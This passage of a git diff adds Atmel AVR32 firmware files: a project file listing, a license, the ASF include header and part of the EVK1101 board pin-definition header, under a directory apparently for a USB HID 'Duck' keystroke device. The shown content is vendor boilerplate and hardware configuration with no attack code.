<Compile Include="src\asf\avr32\services\fs\fat\navigation.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\services\fs\fat\navigation.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\utils\compiler.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\utils\linker_scripts\at32uc3b\0256\gcc\link_uc3b0256.lds">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\utils\parts.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\utils\preprocessor\mrepeat.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\utils\preprocessor\preprocessor.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\utils\preprocessor\stringz.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\utils\preprocessor\tpaste.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\utils\startup\startup_uc3.S">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\utils\startup\trampoline_uc3.S">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\utils\startup\trampoline_uc3.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\avr32\utils\status_codes.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\boards\board.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\clock\genclk.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\clock\osc.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\clock\pll.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\clock\sysclk.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\clock\uc3b0_b1\genclk.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\clock\uc3b0_b1\osc.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\clock\uc3b0_b1\pll.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\clock\uc3b0_b1\sysclk.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\clock\uc3b0_b1\sysclk.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\sleepmgr\sleepmgr.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\sleepmgr\uc3\sleepmgr.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\sleepmgr\uc3\sleepmgr.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\storage\ctrl_access\ctrl_access.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\storage\ctrl_access\ctrl_access.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\usb\class\hid\device\kbd\udi_hid_kbd.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\usb\class\hid\device\kbd\udi_hid_kbd.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\usb\class\hid\device\kbd\udi_hid_kbd_conf.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\usb\class\hid\device\kbd\udi_hid_kbd_desc.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\usb\class\hid\device\udi_hid.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\usb\class\hid\device\udi_hid.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\usb\class\hid\usb_protocol_hid.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\usb\udc\udc.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\usb\udc\udc.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\usb\udc\udc_desc.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\usb\udc\udd.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\usb\udc\udi.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\usb\usb_atmel.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\services\usb\usb_protocol.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\utils\interrupt.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\asf\common\utils\interrupt\interrupt_avr32.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\config\conf_access.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\config\conf_board.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\config\conf_clock.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\config\conf_explorer.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\config\conf_sd_mmc_spi.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\config\conf_sleepmgr.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\config\conf_usb.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\main.c">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
<Compile Include="src\main.h">
|
||||
<SubType>compile</SubType>
|
||||
</Compile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Folder Include="src\" />
|
||||
<Folder Include="src\asf\" />
|
||||
<Folder Include="src\asf\avr32\" />
|
||||
<Folder Include="src\asf\avr32\boards\" />
|
||||
<Folder Include="src\asf\avr32\boards\evk1101\" />
|
||||
<Folder Include="src\asf\avr32\components\" />
|
||||
<Folder Include="src\asf\avr32\components\memory\" />
|
||||
<Folder Include="src\asf\avr32\components\memory\sd_mmc\" />
|
||||
<Folder Include="src\asf\avr32\components\memory\sd_mmc\sd_mmc_spi\" />
|
||||
<Folder Include="src\asf\avr32\drivers\" />
|
||||
<Folder Include="src\asf\avr32\drivers\flashc\" />
|
||||
<Folder Include="src\asf\avr32\drivers\gpio\" />
|
||||
<Folder Include="src\asf\avr32\drivers\intc\" />
|
||||
<Folder Include="src\asf\avr32\drivers\pm\" />
|
||||
<Folder Include="src\asf\avr32\drivers\spi\" />
|
||||
<Folder Include="src\asf\avr32\drivers\usbb\" />
|
||||
<Folder Include="src\asf\avr32\services\" />
|
||||
<Folder Include="src\asf\avr32\services\fs\" />
|
||||
<Folder Include="src\asf\avr32\services\fs\fat\" />
|
||||
<Folder Include="src\asf\avr32\utils\" />
|
||||
<Folder Include="src\asf\avr32\utils\linker_scripts\" />
|
||||
<Folder Include="src\asf\avr32\utils\linker_scripts\at32uc3b\" />
|
||||
<Folder Include="src\asf\avr32\utils\linker_scripts\at32uc3b\0256\" />
|
||||
<Folder Include="src\asf\avr32\utils\linker_scripts\at32uc3b\0256\gcc\" />
|
||||
<Folder Include="src\asf\avr32\utils\preprocessor\" />
|
||||
<Folder Include="src\asf\avr32\utils\startup\" />
|
||||
<Folder Include="src\asf\common\" />
|
||||
<Folder Include="src\asf\common\boards\" />
|
||||
<Folder Include="src\asf\common\services\" />
|
||||
<Folder Include="src\asf\common\services\clock\" />
|
||||
<Folder Include="src\asf\common\services\clock\uc3b0_b1\" />
|
||||
<Folder Include="src\asf\common\services\sleepmgr\" />
|
||||
<Folder Include="src\asf\common\services\sleepmgr\uc3\" />
|
||||
<Folder Include="src\asf\common\services\storage\" />
|
||||
<Folder Include="src\asf\common\services\storage\ctrl_access\" />
|
||||
<Folder Include="src\asf\common\services\usb\" />
|
||||
<Folder Include="src\asf\common\services\usb\class\" />
|
||||
<Folder Include="src\asf\common\services\usb\class\hid\" />
|
||||
<Folder Include="src\asf\common\services\usb\class\hid\device\" />
|
||||
<Folder Include="src\asf\common\services\usb\class\hid\device\kbd\" />
|
||||
<Folder Include="src\asf\common\services\usb\udc\" />
|
||||
<Folder Include="src\asf\common\utils\" />
|
||||
<Folder Include="src\asf\common\utils\interrupt\" />
|
||||
<Folder Include="src\config\" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(AVRSTUDIO_EXE_PATH)\\Vs\\AvrGCC32.targets" />
|
||||
</Project>
|
34
Rubber_Duck/HAK/Firmware/Source/Duck_HID/license.txt
Executable file
34
Rubber_Duck/HAK/Firmware/Source/Duck_HID/license.txt
Executable file
|
@ -0,0 +1,34 @@
|
|||
/**
|
||||
* Main file of the USB mass-storage example.
|
||||
*
|
||||
* Copyright (c) 2009-2012 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an Atmel
|
||||
* AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
*
|
||||
*/
|
102
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf.h
Executable file
102
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf.h
Executable file
|
@ -0,0 +1,102 @@
|
|||
/**
|
||||
* \file
|
||||
*
|
||||
* \brief Autogenerated API include file for the AVR Software Framework (ASF)
|
||||
*
|
||||
* Copyright (C) 2011 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* \page License
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an
|
||||
* Atmel AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
|
||||
* DAMAGE.
|
||||
*/
|
||||
|
||||
#ifndef ASF_H
|
||||
#define ASF_H
|
||||
|
||||
/*
|
||||
* This file includes all API header files for the selected drivers from ASF.
|
||||
* Note: There might be duplicate includes required by more than one driver.
|
||||
*
|
||||
* The file is automatically generated and will be re-written when
|
||||
* running the ASF driver selector tool. Any changes will be discarded.
|
||||
*/
|
||||
|
||||
// From module: CPU - Interrupt management
|
||||
#include <interrupt.h>
|
||||
|
||||
// From module: CPU - PM - Power Manager
|
||||
#include <power_clocks_lib.h>
|
||||
#include <sleep.h>
|
||||
|
||||
// From module: CPU - SLEEP - Sleep manager
|
||||
#include <sleepmgr.h>
|
||||
#include <uc3/sleepmgr.h>
|
||||
|
||||
// From module: FAT file system
|
||||
#include <fat.h>
|
||||
#include <file.h>
|
||||
#include <fs_com.h>
|
||||
#include <navigation.h>
|
||||
|
||||
// From module: GPIO - General-Purpose Input/Output
|
||||
#include <gpio.h>
|
||||
|
||||
// From module: MEMORY - FLASHC - Flash Controller
|
||||
#include <flashc.h>
|
||||
|
||||
// From module: MEMORY - Memory Control Access
|
||||
#include <ctrl_access.h>
|
||||
|
||||
// From module: SPI - Serial Peripheral Interface
|
||||
#include <spi.h>
|
||||
|
||||
// From module: TIMING - Clock Control
|
||||
#include <sysclk.h>
|
||||
|
||||
// From module: USB Device Stack Core
|
||||
#include <udc.h>
|
||||
#include <udd.h>
|
||||
|
||||
// From module: USB HID Device protocol
|
||||
#include <usb_protocol_hid.h>
|
||||
|
||||
// From module: USB HID Keyboard (Single Interface Device)
|
||||
#include <udi_hid_kbd.h>
|
||||
|
||||
// From module: USB HID Library (Device)
|
||||
#include <udi_hid.h>
|
||||
|
||||
// From module: UTILITY - Compiler abstraction layer and code utilities
|
||||
#include <compiler.h>
|
||||
#include <status_codes.h>
|
||||
|
||||
// From module: UTILITY - Generic board support
|
||||
#include <board.h>
|
||||
|
||||
#endif // ASF_H
|
290
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/boards/evk1101/evk1101.h
Executable file
290
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/boards/evk1101/evk1101.h
Executable file
|
@ -0,0 +1,290 @@
|
|||
/*This file is prepared for Doxygen automatic documentation generation.*/
|
||||
/*! \file *********************************************************************
|
||||
*
|
||||
* \brief AT32UC3B EVK1101 board header file.
|
||||
*
|
||||
* This file contains definitions and services related to the features of the
|
||||
* EVK1101 board rev. A and B.
|
||||
*
|
||||
* To use this board, define BOARD=EVK1101.
|
||||
*
|
||||
* - Compiler: IAR EWAVR32 and GNU GCC for AVR32
|
||||
* - Supported devices: All AVR32 AT32UC3B devices can be used.
|
||||
* - AppNote:
|
||||
*
|
||||
* \author Atmel Corporation: http://www.atmel.com \n
|
||||
* Support and FAQ: http://support.atmel.no/
|
||||
*
|
||||
******************************************************************************/
|
||||
|
||||
/* Copyright (c) 2009 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an Atmel
|
||||
* AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef _EVK1101_H_
|
||||
#define _EVK1101_H_
|
||||
|
||||
#include "compiler.h"
|
||||
|
||||
#ifdef __AVR32_ABI_COMPILER__ // Automatically defined when compiling for AVR32, not when assembling.
|
||||
# include "led.h"
|
||||
#endif // __AVR32_ABI_COMPILER__
|
||||
|
||||
|
||||
/*! \name Oscillator Definitions
|
||||
*/
|
||||
//! @{
|
||||
|
||||
#if UC3B
|
||||
#define FOSC32 32768 //!< Osc32 frequency: Hz.
|
||||
#define OSC32_STARTUP AVR32_PM_OSCCTRL32_STARTUP_8192_RCOSC //!< Osc32 startup time: RCOsc periods.
|
||||
|
||||
#define FOSC0 12000000 //!< Osc0 frequency: Hz.
|
||||
#define OSC0_STARTUP AVR32_PM_OSCCTRL0_STARTUP_2048_RCOSC //!< Osc0 startup time: RCOsc periods.
|
||||
#elif UC3D
|
||||
#define FOSC32 32768 //!< Osc32 frequency: Hz.
|
||||
#define OSC32_STARTUP AVR32_SCIF_OSCCTRL32_STARTUP_8192_RCOSC //!< Osc32 startup time: RCOsc periods.
|
||||
|
||||
#define FOSC0 12000000 //!< Osc0 frequency: Hz.
|
||||
#define OSC0_STARTUP AVR32_SCIF_OSCCTRL0_STARTUP_2048_RCOSC //!< Osc0 startup time: RCOsc periods.
|
||||
|
||||
#endif
|
||||
|
||||
// Osc1 crystal is not mounted by default. Set the following definitions to the
|
||||
// appropriate values if a custom Osc1 crystal is mounted on your board.
|
||||
//#define FOSC1 12000000 //!< Osc1 frequency: Hz.
|
||||
//#define OSC1_STARTUP AVR32_PM_OSCCTRL1_STARTUP_2048_RCOSC //!< Osc1 startup time: RCOsc periods.
|
||||
|
||||
//! @}
|
||||
|
||||
/* These are documented in services/basic/clock/uc3b0_b1/osc.h */
|
||||
#define BOARD_OSC0_HZ 12000000
|
||||
#define BOARD_OSC0_STARTUP_US 17000
|
||||
#define BOARD_OSC0_IS_XTAL true
|
||||
#define BOARD_OSC32_HZ 32768
|
||||
#define BOARD_OSC32_STARTUP_US 71000
|
||||
#define BOARD_OSC32_IS_XTAL true
|
||||
|
||||
/*! \name USB Definitions
|
||||
*/
|
||||
//! @{
|
||||
|
||||
//! Multiplexed pin used for USB_ID: AVR32_USBB_USB_ID_x_x.
|
||||
//! To be selected according to the AVR32_USBB_USB_ID_x_x_PIN and
|
||||
//! AVR32_USBB_USB_ID_x_x_FUNCTION definitions from <avr32/uc3bxxxx.h>.
|
||||
#define USB_ID AVR32_USBB_USB_ID_0_0
|
||||
|
||||
//! Multiplexed pin used for USB_VBOF: AVR32_USBB_USB_VBOF_x_x.
|
||||
//! To be selected according to the AVR32_USBB_USB_VBOF_x_x_PIN and
|
||||
//! AVR32_USBB_USB_VBOF_x_x_FUNCTION definitions from <avr32/uc3bxxxx.h>.
|
||||
#define USB_VBOF AVR32_USBB_USB_VBOF_0_0
|
||||
|
||||
//! Active level of the USB_VBOF output pin.
|
||||
#define USB_VBOF_ACTIVE_LEVEL LOW
|
||||
|
||||
//! USB overcurrent detection pin.
|
||||
#define USB_OVERCURRENT_DETECT_PIN AVR32_PIN_PA20
|
||||
|
||||
//! @}
|
||||
|
||||
|
||||
//! Number of LEDs.
|
||||
#define LED_COUNT 4
|
||||
|
||||
/*! \name GPIO Connections of LEDs
|
||||
*/
|
||||
//! @{
|
||||
#define LED0_GPIO AVR32_PIN_PA07
|
||||
#define LED1_GPIO AVR32_PIN_PA08
|
||||
#define LED2_GPIO AVR32_PIN_PA21
|
||||
#define LED3_GPIO AVR32_PIN_PA22
|
||||
//! @}
|
||||
|
||||
/*! \name PWM Channels of LEDs
|
||||
*/
|
||||
//! @{
|
||||
#define LED0_PWM 0
|
||||
#define LED1_PWM 1
|
||||
#define LED2_PWM 2
|
||||
#define LED3_PWM 6
|
||||
//! @}
|
||||
|
||||
/*! \name PWM Functions of LEDs
|
||||
*/
|
||||
//! @{
|
||||
#define LED0_PWM_FUNCTION AVR32_PWM_0_0_FUNCTION
|
||||
#define LED1_PWM_FUNCTION AVR32_PWM_1_0_FUNCTION
|
||||
#define LED2_PWM_FUNCTION AVR32_PWM_2_0_FUNCTION
|
||||
#define LED3_PWM_FUNCTION AVR32_PWM_6_0_FUNCTION
|
||||
//! @}
|
||||
|
||||
/*! \name Color Identifiers of LEDs to Use with LED Functions
|
||||
*/
|
||||
//! @{
|
||||
#define LED_MONO0_GREEN LED0
|
||||
#define LED_MONO1_GREEN LED1
|
||||
#define LED_MONO2_GREEN LED2
|
||||
#define LED_MONO3_GREEN LED3
|
||||
//! @}
|
||||
|
||||
|
||||
/*! \name GPIO Connections of Push Buttons
|
||||
*/
|
||||
//! @{
|
||||
#define GPIO_PUSH_BUTTON_0 AVR32_PIN_PB02
|
||||
#define GPIO_PUSH_BUTTON_0_PRESSED 0
|
||||
#define GPIO_PUSH_BUTTON_1 AVR32_PIN_PB03
|
||||
#define GPIO_PUSH_BUTTON_1_PRESSED 0
|
||||
//! @}
|
||||
|
||||
|
||||
/*! \name GPIO Connections of the Joystick
|
||||
*/
|
||||
//! @{
|
||||
#define GPIO_JOYSTICK_PUSH AVR32_PIN_PA13
|
||||
#define GPIO_JOYSTICK_PUSH_PRESSED 0
|
||||
#define GPIO_JOYSTICK_LEFT AVR32_PIN_PB06
|
||||
#define GPIO_JOYSTICK_LEFT_PRESSED 0
|
||||
#define GPIO_JOYSTICK_RIGHT AVR32_PIN_PB09
|
||||
#define GPIO_JOYSTICK_RIGHT_PRESSED 0
|
||||
#define GPIO_JOYSTICK_UP AVR32_PIN_PB07
|
||||
#define GPIO_JOYSTICK_UP_PRESSED 0
|
||||
#define GPIO_JOYSTICK_DOWN AVR32_PIN_PB08
|
||||
#define GPIO_JOYSTICK_DOWN_PRESSED 0
|
||||
//! @}
|
||||
|
||||
|
||||
/*! \name ADC Connection of the Temperature Sensor
|
||||
*/
|
||||
//! @{
|
||||
#define ADC_TEMPERATURE_CHANNEL 7
|
||||
#define ADC_TEMPERATURE_PIN AVR32_ADC_AD_7_PIN
|
||||
#define ADC_TEMPERATURE_FUNCTION AVR32_ADC_AD_7_FUNCTION
|
||||
//! @}
|
||||
|
||||
|
||||
/*! \name ADC Connection of the Light Sensor
|
||||
*/
|
||||
//! @{
|
||||
#define ADC_LIGHT_CHANNEL 6
|
||||
#define ADC_LIGHT_PIN AVR32_ADC_AD_6_PIN
|
||||
#define ADC_LIGHT_FUNCTION AVR32_ADC_AD_6_FUNCTION
|
||||
//! @}
|
||||
|
||||
|
||||
/*! \name ADC Connections of the Accelerometer
|
||||
*/
|
||||
//! @{
|
||||
#define ADC_ACC_X_CHANNEL 1
|
||||
#define ADC_ACC_X_PIN AVR32_ADC_AD_1_PIN
|
||||
#define ADC_ACC_X_FUNCTION AVR32_ADC_AD_1_FUNCTION
|
||||
#define ADC_ACC_Y_CHANNEL 2
|
||||
#define ADC_ACC_Y_PIN AVR32_ADC_AD_2_PIN
|
||||
#define ADC_ACC_Y_FUNCTION AVR32_ADC_AD_2_FUNCTION
|
||||
#define ADC_ACC_Z_CHANNEL 3
|
||||
#define ADC_ACC_Z_PIN AVR32_ADC_AD_3_PIN
|
||||
#define ADC_ACC_Z_FUNCTION AVR32_ADC_AD_3_FUNCTION
|
||||
//! @}
|
||||
|
||||
|
||||
/*! \name PWM Connections of Audio
|
||||
*/
|
||||
//! @{
|
||||
#define AUDIO_LOW_PWM_CHANNEL 5
|
||||
#define AUDIO_LOW_PWM_PIN AVR32_PWM_5_0_PIN
|
||||
#define AUDIO_LOW_PWM_FUNCTION AVR32_PWM_5_0_FUNCTION
|
||||
#define AUDIO_HIGH_PWM_CHANNEL 6
|
||||
#define AUDIO_HIGH_PWM_PIN AVR32_PWM_6_1_PIN
|
||||
#define AUDIO_HIGH_PWM_FUNCTION AVR32_PWM_6_1_FUNCTION
|
||||
//! @}
|
||||
|
||||
|
||||
/*! \name SPI Connections of the AT45DBX Data Flash Memory
|
||||
*/
|
||||
//! @{
|
||||
#define AT45DBX_SPI (&AVR32_SPI)
|
||||
#define AT45DBX_SPI_NPCS 0
|
||||
#define AT45DBX_SPI_SCK_PIN AVR32_SPI_SCK_0_0_PIN
|
||||
#define AT45DBX_SPI_SCK_FUNCTION AVR32_SPI_SCK_0_0_FUNCTION
|
||||
#define AT45DBX_SPI_MISO_PIN AVR32_SPI_MISO_0_0_PIN
|
||||
#define AT45DBX_SPI_MISO_FUNCTION AVR32_SPI_MISO_0_0_FUNCTION
|
||||
#define AT45DBX_SPI_MOSI_PIN AVR32_SPI_MOSI_0_0_PIN
|
||||
#define AT45DBX_SPI_MOSI_FUNCTION AVR32_SPI_MOSI_0_0_FUNCTION
|
||||
#define AT45DBX_SPI_NPCS0_PIN AVR32_SPI_NPCS_0_0_PIN
|
||||
#define AT45DBX_SPI_NPCS0_FUNCTION AVR32_SPI_NPCS_0_0_FUNCTION
|
||||
//! @}
|
||||
|
||||
|
||||
/*! \name GPIO and SPI Connections of the SD/MMC Connector
|
||||
*/
|
||||
//! @{
|
||||
#define SD_MMC_CARD_DETECT_PIN AVR32_PIN_PB00
|
||||
#define SD_MMC_WRITE_PROTECT_PIN AVR32_PIN_PB01
|
||||
#define SD_MMC_SPI (&AVR32_SPI)
|
||||
#define SD_MMC_SPI_NPCS 1
|
||||
#define SD_MMC_SPI_SCK_PIN AVR32_SPI_SCK_0_0_PIN
|
||||
#define SD_MMC_SPI_SCK_FUNCTION AVR32_SPI_SCK_0_0_FUNCTION
|
||||
#define SD_MMC_SPI_MISO_PIN AVR32_SPI_MISO_0_0_PIN
|
||||
#define SD_MMC_SPI_MISO_FUNCTION AVR32_SPI_MISO_0_0_FUNCTION
|
||||
#define SD_MMC_SPI_MOSI_PIN AVR32_SPI_MOSI_0_0_PIN
|
||||
#define SD_MMC_SPI_MOSI_FUNCTION AVR32_SPI_MOSI_0_0_FUNCTION
|
||||
#define SD_MMC_SPI_NPCS_PIN AVR32_SPI_NPCS_1_0_PIN
|
||||
#define SD_MMC_SPI_NPCS_FUNCTION AVR32_SPI_NPCS_1_0_FUNCTION
|
||||
//! @}
|
||||
|
||||
|
||||
/*! \name TWI Connections of the Spare TWI Connector
|
||||
*/
|
||||
//! @{
|
||||
#define SPARE_TWI (&AVR32_TWI)
|
||||
#define SPARE_TWI_SCL_PIN AVR32_TWI_SCL_0_0_PIN
|
||||
#define SPARE_TWI_SCL_FUNCTION AVR32_TWI_SCL_0_0_FUNCTION
|
||||
#define SPARE_TWI_SDA_PIN AVR32_TWI_SDA_0_0_PIN
|
||||
#define SPARE_TWI_SDA_FUNCTION AVR32_TWI_SDA_0_0_FUNCTION
|
||||
//! @}
|
||||
|
||||
|
||||
/*! \name SPI Connections of the Spare SPI Connector
|
||||
*/
|
||||
//! @{
|
||||
#define SPARE_SPI (&AVR32_SPI)
|
||||
#define SPARE_SPI_NPCS 2
|
||||
#define SPARE_SPI_SCK_PIN AVR32_SPI_SCK_0_0_PIN
|
||||
